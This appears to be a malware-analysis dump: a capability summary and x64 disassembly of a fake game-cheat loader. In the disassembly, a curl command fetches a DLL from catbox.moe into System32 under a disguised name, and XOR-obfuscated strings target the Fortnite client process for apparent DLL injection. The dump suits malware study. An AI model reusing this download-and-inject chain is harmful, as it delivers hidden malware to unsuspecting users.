Function at 0x140006980
Capabilities:
Authenticate hmac
Encode data using xor
Execute command
Log keystrokes via polling
Set console window title

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.Connecting..e_0m
call fcn.140001300
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000962c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DWareUD___OGFN_is_base_on_Raax___OGFN.e_0m
call fcn.140001300
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
lea ecx, [rdx - 0x64]
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000962c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__o_C:WindowsSystem32XboxGameMangager.dll_https:__files.catbox.moe_55bfre.dll___silent___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000962c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.DWareUD___OGFN
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, str.e_35m_n_t____________________________________________________________________n
call fcn.140001300
lea rcx, str._t___________________________________________________________________n
call fcn.140001300
lea rcx, [0x140009790]
call fcn.140001300
lea rcx, [0x1400097e0]
call fcn.140001300
lea rcx, str._t______________________________________________________________n
call fcn.140001300
lea rcx, [0x140009880]
call fcn.140001300
lea rcx, str._t_______________________________________________________________n
call fcn.140001300
lea rcx, str._t______________________________________________________________n_n
call fcn.140001300
lea rcx, str._t_dsc.gg_dwareud__n_ne_0m
call fcn.140001300
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.140007944
xor esi, esi
mov qword [rbp + 0x80], rax
xorps xmm0, xmm0
mov qword [rbp + 0x60], rsi
mov rbx, rax
mov qword [rbp + 0x68], rsi
movups xmmword [rbp + 0x50], xmm0
lea ecx, [rsi + 0x20]
call fcn.140007944
movups xmm0, xmmword [str.press_F5_in_Lobby__n]
mov qword [rbp + 0x50], rax
lea rdx, [rbp + 0x50]
mov qword [rbp + 0x60], 0x13
mov qword [rbp + 0x68], 0x1f
movups xmmword [rax], xmm0
movzx ecx, word [0x140009998]
mov word [rax + 0x10], cx
movzx ecx, byte [0x14000999a]
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], sil
call fcn.140006770
mov edi, 0x133
mov ecx, 0x74
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140006b23
mov ecx, 0x46
xor edx, edx
call fcn.140001680
mov ecx, 0x6f
mov word [rsp + 0x20], ax
lea edx, [rcx - 0x6e]
call fcn.140001680
mov ecx, 0x72
mov word [rsp + 0x22], ax
lea edx, [rcx - 0x70]
call fcn.140001680
mov ecx, 0x74
mov word [rsp + 0x24], ax
lea edx, [rcx - 0x71]
call fcn.140001680
mov ecx, 0x6e
mov word [rsp + 0x26], ax
lea edx, [rcx - 0x6a]
call fcn.140001680
mov ecx, 0x69
mov word [rsp + 0x28], ax
lea edx, [rcx - 0x64]
call fcn.140001680
mov ecx, 0x74
mov word [rsp + 0x2a], ax
lea edx, [rcx - 0x6e]
call fcn.140001680
mov ecx, 0x65
mov word [rsp + 0x2c], ax
lea edx, [rcx - 0x5e]
call fcn.140001680
mov ecx, 0x43
mov word [rsp + 0x2e], ax
lea edx, [rcx - 0x3b]
call fcn.140001680
mov ecx, 0x6c
mov word [rsp + 0x30], ax
lea edx, [rcx - 0x63]
call fcn.140001680
mov ecx, 0x69
mov word [rsp + 0x32], ax
lea edx, [rcx - 0x5f]
call fcn.140001680
mov ecx, 0x65
mov word [rsp + 0x34], ax
lea edx, [rcx - 0x5a]
call fcn.140001680
mov ecx, 0x6e
mov word [rsp + 0x36], ax
lea edx, [rcx - 0x62]
call fcn.140001680
mov ecx, 0x74
mov word [rsp + 0x38], ax
lea edx, [rcx - 0x67]
call fcn.140001680
mov ecx, 0x2d
mov word [rsp + 0x3a], ax
lea edx, [rcx - 0x1f]
call fcn.140001680
mov ecx, 0x57
mov word [rsp + 0x3c], ax
lea edx, [rcx - 0x48]
call fcn.140001680
mov ecx, 0x69
mov word [rsp + 0x3e], ax
lea edx, [rcx - 0x59]
call fcn.140001680
mov ecx, 0x6e
mov word [rsp + 0x40], ax
lea edx, [rcx - 0x5d]
call fcn.140001680
mov ecx, 0x36
mov word [rsp + 0x42], ax
lea edx, [rcx - 0x24]
call fcn.140001680
mov ecx, 0x34
mov word [rsp + 0x44], ax
lea edx, [rcx - 0x21]
call fcn.140001680
mov word [rsp + 0x46], ax
mov ecx, 0x2d
lea edx, [rcx - 0x19]
call fcn.140001680
mov ecx, 0x53
mov word [rsp + 0x48], ax
lea edx, [rcx - 0x3e]
call fcn.140001680
mov ecx, 0x68
mov word [rsp + 0x4a], ax
lea edx, [rcx - 0x52]
call fcn.140001680
mov ecx, 0x69
mov word [rsp + 0x4c], ax
lea edx, [rcx - 0x52]
call fcn.140001680
mov ecx, 0x70
mov word [rsp + 0x4e], ax
lea edx, [rcx - 0x58]
call fcn.140001680
mov ecx, 0x70
mov word [rsp + 0x50], ax
lea edx, [rcx - 0x57]
call fcn.140001680
mov ecx, 0x69
mov word [rsp + 0x52], ax
lea edx, [rcx - 0x4f]
call fcn.140001680
mov ecx, 0x6e
mov word [rsp + 0x54], ax
lea edx, [rcx - 0x53]
call fcn.140001680
mov ecx, 0x67
mov word [rsp + 0x56], ax
lea edx, [rcx - 0x4b]
call fcn.140001680
mov ecx, 0x2e
mov word [rsp + 0x58], ax
lea edx, [rcx - 0x11]
call fcn.140001680
mov ecx, 0x65
mov word [rsp + 0x5a], ax
lea edx, [rcx - 0x47]
call fcn.140001680
mov ecx, 0x78
mov word [rsp + 0x5c], ax
lea edx, [rcx - 0x59]
call fcn.140001680
mov ecx, 0x65
mov word [rsp + 0x5e], ax
lea edx, [rcx - 0x45]
call fcn.140001680
xor ecx, ecx
mov word [rsp + 0x60], ax
lea edx, [rcx + 0x21]
call fcn.140001680
movzx ecx, word [0x1400099e4]
mov edx, 0x22
mov word [rsp + 0x62], ax
call fcn.140001680
movzx ecx, word [0x1400099e6]
mov edx, 0x23
mov word [rsp + 0x64], ax
call fcn.140001680
movzx ecx, word [0x1400099e8]
mov edx, 0x24
mov word [rsp + 0x66], ax
call fcn.140001680
movzx ecx, word [0x1400099ea]
mov edx, 0x25
mov word [rsp + 0x68], ax
call fcn.140001680
movzx ecx, word [0x1400099ec]
mov edx, 0x26
mov word [rsp + 0x6a], ax
call fcn.140001680
movzx ecx, word [0x1400099ee]
mov edx, 0x27
mov word [rsp + 0x6c], ax
call fcn.140001680
movzx ecx, word [str.C:WindowsSystem32XboxGameMangager.dll]
mov edx, 0x28
mov word [rsp + 0x6e], ax
call fcn.140001680
movzx ecx, word [0x1400099f2]
mov edx, 0x29
mov word [rsp + 0x70], ax
call fcn.140001680
movzx ecx, word [0x1400099f4]
mov edx, 0x2a
mov word [rsp + 0x72], ax
call fcn.140001680
movzx ecx, word [0x1400099f6]
mov edx, 0x2b
mov word [rsp + 0x74], ax
call fcn.140001680
movzx ecx, word [0x1400099f8]
mov edx, 0x2c
mov word [rsp + 0x76], ax
call fcn.140001680
movzx ecx, word [0x1400099fa]
mov edx, 0x2d
mov word [rsp + 0x78], ax
call fcn.140001680
movzx ecx, word [0x1400099fc]
mov edx, 0x2e
mov word [rsp + 0x7a], ax
call fcn.140001680
movzx ecx, word [0x1400099fe]
mov edx, 0x2f
mov word [rsp + 0x7c], ax
call fcn.140001680
movzx ecx, word [0x140009a00]
mov edx, 0x30
mov word [rsp + 0x7e], ax
call fcn.140001680
movzx ecx, word [0x140009a02]
mov edx, 0x31
mov word [rbp - 0x80], ax
call fcn.140001680
movzx ecx, word [0x140009a04]
mov edx, 0x32
mov word [rbp - 0x7e], ax
call fcn.140001680
movzx ecx, word [0x140009a06]
mov edx, 0x33
mov word [rbp - 0x7c], ax
call fcn.140001680
movzx ecx, word [0x140009a08]
mov edx, 0x34
mov word [rbp - 0x7a], ax
call fcn.140001680
movzx ecx, word [0x140009a0a]
mov edx, 0x35
mov word [rbp - 0x78], ax
call fcn.140001680
movzx ecx, word [0x140009a0c]
mov edx, 0x36
mov word [rbp - 0x76], ax
call fcn.140001680
movzx ecx, word [0x140009a0e]
mov edx, 0x37
mov word [rbp - 0x74], ax
call fcn.140001680
movzx ecx, word [0x140009a10]
mov edx, 0x38
mov word [rbp - 0x72], ax
call fcn.140001680
movzx ecx, word [0x140009a12]
mov edx, 0x39
mov word [rbp - 0x70], ax
call fcn.140001680
movzx ecx, word [0x140009a14]
mov edx, 0x3a
mov word [rbp - 0x6e], ax
call fcn.140001680
movzx ecx, word [0x140009a16]
mov edx, 0x3b
mov word [rbp - 0x6c], ax
call fcn.140001680
movzx ecx, word [0x140009a18]
mov edx, 0x3c
mov word [rbp - 0x6a], ax
call fcn.140001680
movzx ecx, word [0x140009a1a]
mov edx, 0x3d
mov word [rbp - 0x68], ax
call fcn.140001680
movzx ecx, word [0x140009a1c]
mov edx, 0x3e
mov word [rbp - 0x66], ax
call fcn.140001680
movzx ecx, word [0x140009a1e]
mov edx, 0x3f
mov word [rbp - 0x64], ax
call fcn.140001680
movzx ecx, word [0x140009a20]
mov edx, 0x40
mov word [rbp - 0x62], ax
call fcn.140001680
movzx ecx, word [0x140009a22]
mov edx, 0x41
mov word [rbp - 0x60], ax
call fcn.140001680
movzx ecx, word [0x140009a24]
mov edx, 0x42
mov word [rbp - 0x5e], ax
call fcn.140001680
mov word [rbp - 0x5c], ax
mov rdx, rsi
xor eax, eax
mov word [rbp - 0x5a], ax
nop
lea ecx, [rdi + rax]
inc eax
xor word [rsp + rdx*2 + 0x20], cx
movsxd rdx, eax
cmp rdx, 0x43
jb 0x140007060
mov ecx, 0x43
mov word [rbp - 0x5a], si
xor edx, edx
call fcn.140001680
mov ecx, 0x3a
mov word [rbp - 0x58], ax
lea edx, [rcx - 0x39]
call fcn.140001680
mov ecx, 0x5c
mov word [rbp - 0x56], ax
lea edx, [rcx - 0x5a]
call fcn.140001680
mov ecx, 0x57
mov word [rbp - 0x54], ax
lea edx, [rcx - 0x54]
call fcn.140001680
mov ecx, 0x69
mov word [rbp - 0x52], ax
lea edx, [rcx - 0x65]
call fcn.140001680
mov ecx, 0x6e
mov word [rbp - 0x50], ax
lea edx, [rcx - 0x69]
call fcn.140001680
mov ecx, 0x64
mov word [rbp - 0x4e], ax
lea edx, [rcx - 0x5e]
call fcn.140001680
mov ecx, 0x6f
mov word [rbp - 0x4c], ax
lea edx, [rcx - 0x68]
call fcn.140001680
mov ecx, 0x77
mov word [rbp - 0x4a], ax
lea edx, [rcx - 0x6f]
call fcn.140001680
mov ecx, 0x73
mov word [rbp - 0x48], ax
lea edx, [rcx - 0x6a]
call fcn.140001680
mov ecx, 0x5c
mov word [rbp - 0x46], ax
lea edx, [rcx - 0x52]
call fcn.140001680
mov ecx, 0x53
mov word [rbp - 0x44], ax
lea edx, [rcx - 0x48]
call fcn.140001680
mov ecx, 0x79
mov word [rbp - 0x42], ax
lea edx, [rcx - 0x6d]
call fcn.140001680
mov ecx, 0x73
mov word [rbp - 0x40], ax
lea edx, [rcx - 0x66]
call fcn.140001680
mov ecx, 0x74
mov word [rbp - 0x3e], ax
lea edx, [rcx - 0x66]
call fcn.140001680
mov ecx, 0x65
mov word [rbp - 0x3c], ax
lea edx, [rcx - 0x56]
call fcn.140001680
mov ecx, 0x6d
mov word [rbp - 0x3a], ax
lea edx, [rcx - 0x5d]
call fcn.140001680
mov ecx, 0x33
mov word [rbp - 0x38], ax
lea edx, [rcx - 0x22]
call fcn.140001680
mov ecx, 0x32
mov word [rbp - 0x36], ax
lea edx, [rcx - 0x20]
call fcn.140001680
mov ecx, 0x5c
mov word [rbp - 0x34], ax
lea edx, [rcx - 0x49]
call fcn.140001680
mov word [rbp - 0x32], ax
mov ecx, 0x58
lea edx, [rcx - 0x44]
call fcn.140001680
mov ecx, 0x62
mov word [rbp - 0x30], ax
lea edx, [rcx - 0x4d]
call fcn.140001680
mov ecx, 0x6f
mov word [rbp - 0x2e], ax
lea edx, [rcx - 0x59]
call fcn.140001680
mov ecx, 0x78
mov word [rbp - 0x2c], ax
lea edx, [rcx - 0x61]
call fcn.140001680
mov ecx, 0x47
mov word [rbp - 0x2a], ax
lea edx, [rcx - 0x2f]
call fcn.140001680
mov ecx, 0x61
mov word [rbp - 0x28], ax
lea edx, [rcx - 0x48]
call fcn.140001680
mov ecx, 0x6d
mov word [rbp - 0x26], ax
lea edx, [rcx - 0x53]
call fcn.140001680
mov ecx, 0x65
mov word [rbp - 0x24], ax
lea edx, [rcx - 0x4a]
call fcn.140001680
mov ecx, 0x4d
mov word [rbp - 0x22], ax
lea edx, [rcx - 0x31]
call fcn.140001680
mov ecx, 0x61
mov word [rbp - 0x20], ax
lea edx, [rcx - 0x44]
call fcn.140001680
mov ecx, 0x6e
mov word [rbp - 0x1e], ax
lea edx, [rcx - 0x50]
call fcn.140001680
mov ecx, 0x67
mov word [rbp - 0x1c], ax
lea edx, [rcx - 0x48]
call fcn.140001680
mov ecx, 0x61
mov word [rbp - 0x1a], ax
lea edx, [rcx - 0x41]
call fcn.140001680
mov ecx, 0x67
mov word [rbp - 0x18], ax
lea edx, [rcx - 0x46]
call fcn.140001680
mov ecx, 0x65
mov word [rbp - 0x16], ax
lea edx, [rcx - 0x43]
call fcn.140001680
mov ecx, 0x72
mov word [rbp - 0x14], ax
lea edx, [rcx - 0x4f]
call fcn.140001680
mov ecx, 0x2e
mov word [rbp - 0x12], ax
lea edx, [rcx - 0xa]
call fcn.140001680
mov ecx, 0x64
mov word [rbp - 0x10], ax
lea edx, [rcx - 0x3f]
call fcn.140001680
mov ecx, 0x6c
mov word [rbp - 0xe], ax
lea edx, [rcx - 0x46]
call fcn.140001680
mov ecx, 0x6c
mov word [rbp - 0xc], ax
lea edx, [rcx - 0x45]
call fcn.140001680
mov word [rbp - 0xa], ax
xor ecx, ecx
lea edx, [rcx + 0x28]
call fcn.140001680
movzx ecx, word [0x140009a42]
mov edx, 0x29
mov word [rbp - 8], ax
call fcn.140001680
movzx ecx, word [0x140009a44]
mov edx, 0x2a
mov word [rbp - 6], ax
call fcn.140001680
movzx ecx, word [0x140009a46]
mov edx, 0x2b
mov word [rbp - 4], ax
call fcn.140001680
movzx ecx, word [0x140009a48]
mov edx, 0x2c
mov word [rbp - 2], ax
call fcn.140001680
movzx ecx, word [0x140009a4a]
mov edx, 0x2d
mov word [rbp], ax
call fcn.140001680
movzx ecx, word [0x140009a4c]
mov edx, 0x2e
mov word [rbp + 2], ax
call fcn.140001680
movzx ecx, word [0x140009a4e]
mov edx, 0x2f
mov word [rbp + 4], ax
call fcn.140001680
movzx ecx, word [0x140009a50]
mov edx, 0x30
mov word [rbp + 6], ax
call fcn.140001680
movzx ecx, word [0x140009a52]
mov edx, 0x31
mov word [rbp + 8], ax
call fcn.140001680
movzx ecx, word [0x140009a54]
mov edx, 0x32
mov word [rbp + 0xa], ax
call fcn.140001680
movzx ecx, word [0x140009a56]
mov edx, 0x33
mov word [rbp + 0xc], ax
call fcn.140001680
movzx ecx, word [0x140009a58]
mov edx, 0x34
mov word [rbp + 0xe], ax
call fcn.140001680
movzx ecx, word [0x140009a5a]
mov edx, 0x35
mov word [rbp + 0x10], ax
call fcn.140001680
movzx ecx, word [0x140009a5c]
mov edx, 0x36
mov word [rbp + 0x12], ax
call fcn.140001680
movzx ecx, word [0x140009a5e]
mov edx, 0x37
mov word [rbp + 0x14], ax
call fcn.140001680
movzx ecx, word [0x140009a60]
mov edx, 0x38
mov word [rbp + 0x16], ax
call fcn.140001680
movzx ecx, word [0x140009a62]
mov edx, 0x39
mov word [rbp + 0x18], ax
call fcn.140001680
movzx ecx, word [0x140009a64]
mov edx, 0x3a
mov word [rbp + 0x1a], ax
call fcn.140001680
movzx ecx, word [0x140009a66]
mov edx, 0x3b
mov word [rbp + 0x1c], ax
call fcn.140001680
movzx ecx, word [0x140009a68]
mov edx, 0x3c
mov word [rbp + 0x1e], ax
call fcn.140001680
movzx ecx, word [0x140009a6a]
mov edx, 0x3d
mov word [rbp + 0x20], ax
call fcn.140001680
movzx ecx, word [0x140009a6c]
mov edx, 0x3e
mov word [rbp + 0x22], ax
call fcn.140001680
movzx ecx, word [0x140009a6e]
mov edx, 0x3f
mov word [rbp + 0x24], ax
call fcn.140001680
movzx ecx, word [0x140009a70]
mov edx, 0x40
mov word [rbp + 0x26], ax
call fcn.140001680
movzx ecx, word [0x140009a72]
mov edx, 0x41
mov word [rbp + 0x28], ax
call fcn.140001680
movzx ecx, word [0x140009a74]
mov edx, 0x42
mov word [rbp + 0x2a], ax
call fcn.140001680
movzx ecx, word [0x140009a76]
mov edx, 0x43
mov word [rbp + 0x2c], ax
call fcn.140001680
movzx ecx, word [0x140009a78]
mov edx, 0x44
mov word [rbp + 0x2e], ax
call fcn.140001680
movzx ecx, word [0x140009a7a]
mov edx, 0x45
mov word [rbp + 0x30], ax
call fcn.140001680
movzx ecx, word [0x140009a7c]
mov edx, 0x46
mov word [rbp + 0x32], ax
call fcn.140001680
movzx ecx, word [0x140009a7e]
mov edx, 0x47
mov word [rbp + 0x34], ax
call fcn.140001680
movzx ecx, word [0x140009a80]
mov edx, 0x48
mov word [rbp + 0x36], ax
call fcn.140001680
movzx ecx, word [0x140009a82]
mov edx, 0x49
mov word [rbp + 0x38], ax
call fcn.140001680
movzx ecx, word [0x140009a84]
mov edx, 0x4a
mov word [rbp + 0x3a], ax
call fcn.140001680
movzx ecx, word [0x140009a86]
mov edx, 0x4b
mov word [rbp + 0x3c], ax
call fcn.140001680
movzx ecx, word [0x140009a88]
mov edx, 0x4c
mov word [rbp + 0x3e], ax
call fcn.140001680
movzx ecx, word [0x140009a8a]
mov edx, 0x4d
mov word [rbp + 0x40], ax
call fcn.140001680
movzx ecx, word [0x140009a8c]
mov edx, 0x4e
mov word [rbp + 0x42], ax
call fcn.140001680
movzx ecx, word [0x140009a8e]
mov edx, 0x4f
mov word [rbp + 0x44], ax
call fcn.140001680
movzx ecx, word [0x140009a90]
mov edx, 0x50
mov word [rbp + 0x46], ax
call fcn.140001680
mov word [rbp + 0x48], ax
mov ecx, esi
xor eax, eax
mov rdx, rsi
mov word [rbp + 0x4a], ax
nop
lea eax, [rdi + rcx]
inc ecx
xor word [rbp + rdx*2 - 0x58], ax
movsxd rdx, ecx
cmp rdx, 0x51
jb 0x140007680
lea r8, [rsp + 0x20]
mov word [rbp + 0x4a], si
lea rdx, [rbp - 0x58]
mov rcx, rbx
call fcn.140002570
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140006b23